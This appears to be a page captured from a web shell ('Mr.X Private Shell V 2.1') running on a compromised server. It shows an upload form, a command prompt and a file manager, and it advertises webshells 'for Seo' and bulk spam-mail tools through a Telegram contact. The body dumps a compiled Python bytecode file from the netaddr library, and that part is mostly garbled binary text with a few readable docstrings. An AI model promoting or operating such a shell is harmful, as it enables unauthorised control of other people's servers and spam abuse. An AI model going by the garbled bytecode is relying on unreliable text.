__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�̸g���.�SSKJrJrJr "SS\5rg)�)�	IPNetwork�cidr_exclude�
cidr_mergec�4�\rSrSrSrSrS	SjrSrSrSr	g)
�SubnetSplitter�	z�
A handy utility class that takes a single (large) subnet and allows
smaller subnet within its range to be extracted by CIDR prefix. Any
leaving address space is available for subsequent extractions until
all space is exhausted.
c�8�[[U5/5Ulg)z|
Constructor.

:param base_cidr: an IPv4 or IPv6 address with a CIDR prefix.
    (see IPNetwork.__init__ for full details).
N)�setr�_subnets)�self�	base_cidrs  �A/usr/lib/python3/dist-packages/netaddr/contrib/subnet_splitter.py�__init__�SubnetSplitter.__init__s���Y�y�1�2�3��
�Nc��UR5Hvn[URXS95nU(dM$URU5 URR[
[U[U5S555UlUs $ /$)z;Extract 1 or more subnets of size specified by CIDR prefix.)�countr)	�available_subnets�list�subnet�
remove_subnetr�unionr
rr)r�prefixr�cidr�subnetss     r�extract_subnet�SubnetSplitter.extract_subnetsx���*�*�,�D��4�;�;�v�;�;�<�G������t�$� �M�M�/�/��L��z�RY�GZ�[\�G]�4^�0_�`�D�M��N�
-��	rc�.�[URSSS9$)z2Returns a list of the currently available subnets.c��UR$�N)�	prefixlen)�xs r�<lambda>�2SubnetSplitter.available_subnets.<locals>.<lambda>'s��1�;�;rT)�key�reverse)�sortedr)rs rr� SubnetSplitter.available_subnets%s���d�m�m�)>��M�Mrc�:�URRU5 g)z:Remove a specified IPNetwork from available address space.N)r�remove)r�
ip_networks  rr�SubnetSplitter.remove_subnet)s���
�
���Z�(r)rr )
�__name__�
__module__�__qualname__�__firstlineno__�__doc__rrrr�__static_attributes__�rrrr	s���4�	�N�)rrN)�
netaddr.iprrr�objectrr3rr�<module>r6s��;�:�")�V�")r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 440 B 0644
subnet_splitter.cpython-313.pyc File 2.48 KB 0644
Filemanager